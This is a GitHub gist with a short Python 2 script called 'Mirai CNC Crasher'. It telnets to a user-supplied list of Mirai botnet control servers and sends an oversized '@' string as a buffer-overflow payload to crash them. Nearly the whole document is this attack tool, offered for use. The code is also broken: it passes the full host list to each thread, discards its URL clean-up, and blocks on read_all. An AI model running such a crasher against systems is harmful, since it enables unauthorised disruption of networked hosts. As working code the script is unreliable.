Created
September 12, 2017 20:21
-
-
Save P3t3rp4rk3r/ba33d1662454793ed333d2aa93e65ff2 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Mirai CNC Crasher | |
# just put all the mirai cnc ips/domains in a file that u want to crash | |
import sys, telnetlib, time | |
from threading import Thread | |
filename = sys.argv[0] | |
if len(sys.argv) < 2: | |
sys.exit("Usage: %s <cnc file>")%filename | |
host = open(sys.argv[1], "r").readlines() | |
port = 23 | |
timeout = 3 | |
buff_ovaflow = "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" | |
tn = telnetlib.Telnet() | |
def conn(keksome): | |
try: | |
tn.open(keksome, port, timeout) | |
pdata = tn.read_all() | |
if "sername" in pdata or "ogin" in pdata or "mпользователь" in pdata: | |
tn.write(buff_ovaflow) | |
else: | |
tn.close() | |
print "[ERROR]: Couldn't Find Login Prompt On -> %s\n"%keksome | |
for apt in host: | |
apt.replace("https://", "") | |
apt.replace("http://", "") | |
apt.replace("/", "") | |
proc = Thread(target=conn, args=(host,)) | |
proc.start() | |
time.sleep(0.8) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment